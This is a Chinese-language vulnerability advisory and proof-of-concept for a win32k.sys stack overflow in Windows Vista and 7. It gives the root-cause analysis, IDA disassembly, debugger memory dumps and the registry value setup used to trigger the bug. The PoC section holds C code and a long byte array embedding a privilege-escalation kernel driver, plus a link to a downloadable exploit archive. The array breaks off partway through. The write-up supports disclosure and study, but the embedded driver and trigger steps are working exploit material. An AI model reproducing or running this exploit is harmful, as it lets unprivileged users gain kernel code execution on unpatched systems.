1 Affected Products

==========

Windows Vista, Window 7

2 Vulnerability Details

==========

用户在启用自定义字符字体时，内核模块从注册表读取数据时，未对注册表中值的类型做检查，直接把数据读取到栈中，产出栈溢出，覆盖函数的返回地址，导致在内核中执行任意代码。

3 Analysis

==========

以 Windows7 7600 版本中的 win32k.sys 6.1.7600.16667 为例,64 位和 Vista 略有不同，可参考 POC

首先将溢出的缓冲区字符写入到注册表中

项：[HKEY_CURRENT_USER\EUDC\<当前代码页>]

键：SystemDefaultEUDCFont

值的类型:REG_BIN

数据长度: 0x28

然后调用 GDI32.DLL 的 EnableEUDC(TRUE); 进而调用内核中 win32k!NtGdiEnableEudc 函数

经过一系列的函数调用，到达读取注册表的数据的地方

```
.text:BF81BA0B     sub_BF81BA0B    proc near               ; CODE XREF: sub_BF81B3B4+B2p
.text:BF81BA0B
.text:BF81BA0B     var_20          = LSA_UNICODE_STRING ptr -20h
.text:BF81BA0B     var_18          = dword ptr -18h
.text:BF81BA0B     var_14          = dword ptr -14h
.text:BF81BA0B     Handle          = dword ptr -10h
.text:BF81BA0B     var_C           = dword ptr -0Ch
.text:BF81BA0B     var_8           = dword ptr -8
.text:BF81BA0B     Path            = dword ptr -4
.text:BF81BA0B     arg_0           = dword ptr  8
.text:BF81BA0B     arg_4           = word ptr  0Ch
.text:BF81BA0B
.text:BF81BA0B 000                 mov     edi, edi
.text:BF81BA0D 000                 push    ebp
.text:BF81BA0E 004                 mov     ebp, esp
.text:BF81BA10 004                 sub     esp, 20h
.text:BF81BA13 024                 push    ebx
```

```
.text:BF81BA14 028                push    esi
.text:BF81BA15 02C                push    edi
.text:BF81BA16 030                mov     esi, 208h
.text:BF81BA1B 030                push    esi
.text:BF81BA1C 034                lea     ecx, [ebp+var_C]
.text:BF81BA1F 034                call    ??0MALLOCOBJ@@QAE@K@Z ; MALLOCOBJ::MALLOCOBJ(ulong)
.text:BF81BA24 030                push    esi
.text:BF81BA25 034                lea     ecx, [ebp+Path]
.text:BF81BA28 034                call    ??0MALLOCOBJ@@QAE@K@Z ; MALLOCOBJ::MALLOCOBJ(ulong)
.text:BF81BA2D 030                mov     ecx, [ebp+var_C]
.text:BF81BA30 030                xor     esi, esi
.text:BF81BA32 030                cmp     ecx, esi
.text:BF81BA34 030                jz      loc_BF81BB20
.text:BF81BA3A 030                mov     edi, [ebp+Path]
.text:BF81BA3D 030                cmp     edi, esi
.text:BF81BA3F 030                jz      loc_BF81BB20
.text:BF81BA45 030                xor     eax, eax
.text:BF81BA47 030                mov     [ebp+Handle], esi
.text:BF81BA4A 030                mov     [ebp+var_14], esi
.text:BF81BA4D 030                mov     [ecx], ax
.text:BF81BA50 030                mov     [edi], ax
.text:BF81BA53 030                mov     [ebp+var_20.Length], ax
.text:BF81BA57 030                mov     eax, 104h
.text:BF81BA5C 030                push    eax
.text:BF81BA5D 034                mov     edx, eax
.text:BF81BA5F 034                push    edi
.text:BF81BA60 038                mov     [ebp+var_18], esi
.text:BF81BA63 038                mov     [ebp+var_20.MaximumLength], dx
.text:BF81BA67 038                mov     [ebp+var_20.Buffer], ecx
.text:BF81BA6A 038                call    sub_BF81B946
.text:BF81BA6F 030                cmp     eax, esi
.text:BF81BA71 030                mov     [ebp+var_8], eax
.text:BF81BA74 030                jl      short loc_BF81BAF2
.text:BF81BA76 030                lea     eax, [ebp+var_18]
.text:BF81BA79 030                push    eax
.text:BF81BA7A 034                lea     eax, [ebp+var_14]
.text:BF81BA7D 034                push    eax
.text:BF81BA7E 038                lea     eax, [ebp+Handle]
.text:BF81BA81 038                push    eax
.text:BF81BA82 03C                push    edi
.text:BF81BA83 040                call    sub_BF81BBD8
.text:BF81BA88 030                test    eax, eax
.text:BF81BA8A 030                jz      short loc_BF81BAEB
.text:BF81BA8C 030                cmp     [ebp+var_18], esi
```

.text:BF81BA8F 030 jz short loc_BF81BAEB
.text:BF81BA91 030 push esi ; Environment
.text:BF81BA92 034 push esi ; Context
.text:BF81BA93 038 push offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98 03C push edi ; Path
.text:BF81BA99 040 lea eax, [ebp+var_20] ; 从注册表读取数据的 BUFFFER 地址，读出的数据保存在栈中
.text:BF81BA9C 040 push esi ; RelativeTo
.text:BF81BA9D 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, RTL_QUERY_REGISTRY_REQUIRED or RTL_QUERY_REGISTRY_DIRECT
.text:BF81BAAD 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8 044 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE 044 mov d**word**_BFA198FC, esi
.text:BF81BAD4 044 mov d**word**_BFA19900, esi
.text:BF81BADA 044 mov d**word**_BFA19904, esi
.text:BF81BAE0 044 call ds:__imp__RtlQueryRegistryValues@20 ; 成功读取后，EntryContext 中的前两个 DWORD 是系统定义的，紧跟是从注册表中读取出来的值
.text:BF81BAE6 030 mov [ebp+var_8], eax
.text:BF81BAE9 030 jmp short loc_BF81BAF2

调用 RtlQueryRegistryValues()前后变量的变化

EBP 返回地址 参数 1 参数 2

94eb3cd4 14 3d eb 94 6b b4 21 94 90 32 1d fe 04 01 00 00 .=..k.!..2.....

kd> r

eax=94eb3cb4 ebx=fe1d3290 ecx=00000001 edx=8b86ff00 esi=00000000 edi=fe721008

eip=9421bae0 esp=94eb3c94 ebp=94eb3cd4 iopl=0 nv up ei pl nz na po nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202

win32k!bAppendSysDirectory+0x2de:

9421bae0 ff1504013f94 call d**word** ptr [win32k!_imp__RtlQueryRegistryValues (943f0104)] ds:0023:943f

0104={nt!RtlQueryRegistryValues (83e41ddb)}

94eb3cb4 00 00 04 01 c0 12 ec fd 01 00 00 00 ac 10 00 80 ....
94eb3cc4 b4 10 00 80 c0 12 ec fd 00 00 00 00 08 10 72 fe ....r.
94eb3cd4 14 3d eb 94 6b b4 21 94 90 32 1d fe 04 01 00 00 .=..k.!..2......
94eb3ce4 01 00 00 00 01 00 00 00 36 b9 21 94 00 00 00 00 ....6.!.....

call __imp__RtlQueryRegistryValues@20

kd> r
eax=00000000 ebx=fe1d3290 ecx=00000003 edx=00000002 esi=00000000 edi=fe721008
eip=9421bae6 esp=94eb3ca8 ebp=94eb3cd4 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!bAppendSysDirectory+0x2e4:
9421bae6 8945f8 mov dword ptr [ebp-8],eax ss:0010:94eb3ccc=00000000

94f63cb4 28 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 (...............
94f63cc4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
94f63cd4 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 ......<.........
94f63ce4 01 00 00 00 01 00 00 00 36 b9 21 94 00 00 00 00 ....6.!.....

注册表中键的默认类型为 REG_SZ，故参数类型为 PUNICODE_STRING，
而当前键设置的类型为 REG_BIN，参数的类型为一个结构 即第一个 DWORD 表示当前缓冲区的长度，
同时由于 UNICODE_STRING 结构中的前 4 个字节一定不为 0 且符合需要复制的数据空间要求，
故在 RtlQueryRegistryValues()函数中,会错误地把数据直接复制到当前栈中
此时，函数的返回地址被覆盖为 Ring3 中分配的 Buffer 地址，同时覆盖了函数的参数值，
这样就绕过函数中对参数的处理，函数返回后，就会直接运行 Buffer 中的指令。
此处是产生**漏洞**的关键之处，其没有先检查需要的地址空间而直接将数据复制到栈中，从而导致缓冲区溢出。

WindowsXP 没有触发此问题，由于其读取时采取了不同的方式，在回调函数中处理此注册表的数据。
(下面是来自于在 win32k.sys 5.1.2600.6033 中)

```
.text:BF88BD4A ; int __stdcall sub_BF88BD4A(PWSTR Path)
.text:BF88BD4A sub_BF88BD4A    proc near               ; CODE XREF: sub_BF876BE1-Fp
.text:BF88BD4A                                         ; sub_BF876BE1+183p
.text:BF88BD4A
.text:BF88BD4A Path            = dword ptr  8
.text:BF88BD4A
.text:BF88BD4A                 mov     edi, edi
.text:BF88BD4C                 push    ebp
.text:BF88BD4D                 mov     ebp, esp
.text:BF88BD4F                 xor     eax, eax
.text:BF88BD51                 push    eax             ; Environment
```

```
.text:BF88BD52                push    eax             ; Context
.text:BF88BD53                push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ;
QueryTable
.text:BF88BD58                push    [ebp+Path]      ; Path
.text:BF88BD5B                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryR
outine, offset _BuildAndLoadLinkedFontRoutine@24 ; BuildAndLoadLinkedFontRoutine(x,x,x,x,x,x)
.text:BF88BD65                push    eax             ; RelativeTo
.text:BF88BD66                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, R
TL_QUERY_REGISTRY_REQUIRED
.text:BF88BD70                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name,
eax
.text:BF88BD75                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryC
ontext, ecx
.text:BF88BD7B                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Default
Type, eax
.text:BF88BD80                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Default
Data, eax
.text:BF88BD85                mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Default
Length, eax
.text:BF88BD8A                mov     dword_BF9A7DD4, eax
.text:BF88BD8F                mov     dword_BF9A7DD8, eax
.text:BF88BD94                mov     dword_BF9A7DDC, eax
.text:BF88BD99                call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF88BD9F                pop     ebp
.text:BF88BDA0                retn    4
.text:BF88BDA0 sub_BF88BD4A   endp
```

4 Exploitable?
==========

此**漏洞**可以在普通用户权限上通过修改注册表 HKEY_CURRENT_USER，就可以通过得到在内核中执行任意代码的机会，
进而实现对当前用户进行提权。详见 POC，内含有一个提权驱动。

5 POC:
====

PoC 代码: http://www.exploit-db.com/sploits/uacpoc.zip

```
#include <windows.h>
```

```
#ifndef NTSTATUS
#define NTSTATUS  LONG
#endif


extern "C" BOOL WINAPI EnableEUDC(BOOL fEnableEUDC);

typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;

BOOL IsWow64()
{
    BOOL bIsWow64 = FALSE;
    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(
        GetModuleHandle(TEXT("kernel32")),"IsWow64Process");

    if(NULL != fnIsWow64Process)
    {
        if (!fnIsWow64Process(GetCurrentProcess(),&bIsWow64))
        {
      return FALSE;
        }
    }
    return bIsWow64;
}

BYTE DrvBuf[] = {
  0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
  0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x02, 0x00, 0x00,
  0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
  0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
  0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
  0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
```

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x77, 0x7E, 0xCD, 0xF6, 0x33, 0x1F, 0xA3, 0xA5, 0x33, 0x1F, 0xA3, 0xA5, 0x33, 0x1F, 0xA3, 0xA5,
0x33, 0x1F, 0xA2, 0xA5, 0x16, 0x1F, 0xA3, 0xA5, 0xF0, 0x10, 0xFE, 0xA5, 0x36, 0x1F, 0xA3, 0xA5,
0x3A, 0x67, 0x20, 0xA5, 0x36, 0x1F, 0xA3, 0xA5, 0x3A, 0x67, 0x32, 0xA5, 0x32, 0x1F, 0xA3, 0xA5,
0x52, 0x69, 0x63, 0x68, 0x33, 0x1F, 0xA3, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x05, 0x00, 0x63, 0xCB, 0xDF, 0x4C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x09, 0x00, 0x80, 0x05, 0x00, 0x00,
0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0x09, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0D, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00, 0x9E, 0xA3, 0x00, 0x00, 0x01, 0x00, 0x00, 0x04,
0x00, 0x00, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD0, 0x09, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x80, 0x0B, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x50, 0x08, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0x6B, 0x03, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8,
0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00,

0x00, 0x02, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xE2, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00,
0x2E, 0x01, 0x00, 0x00, 0x80, 0x0B, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x0B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x51, 0x51, 0x56, 0x8B, 0x35,
0x14, 0x08, 0x01, 0x00, 0x57, 0x8D, 0x45, 0xFC, 0x89, 0x45, 0xFC, 0x8D, 0x45, 0xF8, 0x50, 0x33,
0xFF, 0x57, 0x8D, 0x45, 0xFC, 0x50, 0x6A, 0x0B, 0x89, 0x7D, 0xF8, 0xFF, 0xD6, 0x68, 0x54, 0x61,
0x67, 0x31, 0xFF, 0x75, 0xF8, 0x57, 0xFF, 0x15, 0x38, 0x08, 0x01, 0x00, 0x57, 0xFF, 0x75, 0xF8,
0x89, 0x45, 0xFC, 0x50, 0x6A, 0x0B, 0xFF, 0xD6, 0x8B, 0x4D, 0x08, 0x8B, 0x45, 0xFC, 0x8B, 0x70,
0x0C, 0x3B, 0xCF, 0x74, 0x05, 0x8B, 0x50, 0x10, 0x89, 0x11, 0x57, 0x50, 0xFF, 0x15, 0x3C, 0x08,
0x01, 0x00, 0x5F, 0x8B, 0xC6, 0x5E, 0xC9, 0xC2, 0x04, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x68, 0x20, 0x09, 0x01, 0x00, 0xE8, 0x8C, 0xFF, 0xFF, 0xFF, 0xA3, 0x24, 0x09, 0x01, 0x00, 0xE8,
0x32, 0x02, 0x00, 0x00, 0x33, 0xC0, 0xC2, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF,
0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x34, 0x01, 0x00, 0x00, 0xA1, 0x00, 0x09, 0x01, 0x00, 0x33, 0xC5,
0x89, 0x45, 0xFC, 0x83, 0x8D, 0xD0, 0xFE, 0xFF, 0xFF, 0xFF, 0x56, 0x33, 0xF6, 0x56, 0x56, 0x8D,
0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0x8D, 0x85, 0xEC, 0xFE, 0xFF, 0xFF, 0x50, 0xC7, 0x85, 0xCC,
0xFE, 0xFF, 0xFF, 0x80, 0x0F, 0x05, 0xFD, 0xC7, 0x85, 0xE8, 0xFE, 0xFF, 0xFF, 0x14, 0x01, 0x00,
0x00, 0xFF, 0x15, 0x28, 0x08, 0x01, 0x00, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x05, 0x75, 0x08,
0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x74, 0x22, 0x8D, 0x85, 0xE8, 0xFE, 0xFF, 0xFF, 0x50, 0xFF,
0x15, 0x24, 0x08, 0x01, 0x00, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x05, 0x0F, 0x85, 0x84, 0x00,
0x00, 0x00, 0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x75, 0x1E, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF,
0xA0, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0x5C, 0x01, 0x00, 0x00, 0xB8, 0x8C,
0x00, 0x00, 0x00, 0xE9, 0xAD, 0x00, 0x00, 0x00, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF, 0x01, 0x75,
0x19, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF,
0xFF, 0xEC, 0x00, 0x00, 0x00, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF,
0x02, 0x0F, 0x85, 0x3F, 0x01, 0x00, 0x00, 0x81, 0xBD, 0xF4, 0xFE, 0xFF, 0xFF, 0xCE, 0x0E, 0x00,
0x00, 0x6A, 0x40, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4,
0xFE, 0xFF, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x58, 0x75, 0x5B, 0xC7, 0x85, 0xDC, 0xFE, 0xFF, 0xFF,
0x98, 0x00, 0x00, 0x00, 0xEB, 0x4F, 0x83, 0xBD, 0xEC, 0xFE, 0xFF, 0xFF, 0x06, 0x0F, 0x85, 0x03,
0x01, 0x00, 0x00, 0x39, 0xB5, 0xF0, 0xFE, 0xFF, 0xFF, 0x75, 0x16, 0xC7, 0x85, 0xDC, 0xFE, 0xFF,
0xFF, 0xA0, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0xEB,
0x21, 0x83, 0xBD, 0xF0, 0xFE, 0xFF, 0xFF, 0x01, 0x0F, 0x85, 0xD8, 0x00, 0x00, 0x00, 0xC7, 0x85,
0xDC, 0xFE, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0xC7, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0xB4, 0x00,
0x00, 0x00, 0x6A, 0x40, 0x58, 0xC1, 0xE8, 0x02, 0xC1, 0xE0, 0x02, 0x89, 0x85, 0xD8, 0xFE, 0xFF,
0xFF, 0xFF, 0x15, 0x20, 0x08, 0x01, 0x00, 0x8B, 0x8D, 0xDC, 0xFE, 0xFF, 0xFF, 0x8B, 0x1D, 0x18,
0x08, 0x01, 0x00, 0x8D, 0x3C, 0x08, 0x8B, 0x07, 0x8B, 0x30, 0xEB, 0x02, 0x8B, 0x36, 0x8B, 0x85,
0xE4, 0xFE, 0xFF, 0xFF, 0x03, 0xC6, 0x68, 0xDE, 0x07, 0x01, 0x00, 0x50, 0xFF, 0xD3, 0x59, 0x59,

0x85, 0xC0, 0x75, 0xE8, 0x8B, 0x85, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x1C, 0x30, 0x8B, 0x37, 0xB1,
0x02, 0xFF, 0x15, 0x04, 0x08, 0x01, 0x00, 0x88, 0x85, 0xE3, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0xD4,
0xFE, 0xFF, 0xFF, 0x3B, 0x36, 0x74, 0x3D, 0x8B, 0x85, 0xE4, 0xFE, 0xFF, 0xFF, 0x03, 0xC6, 0x68,
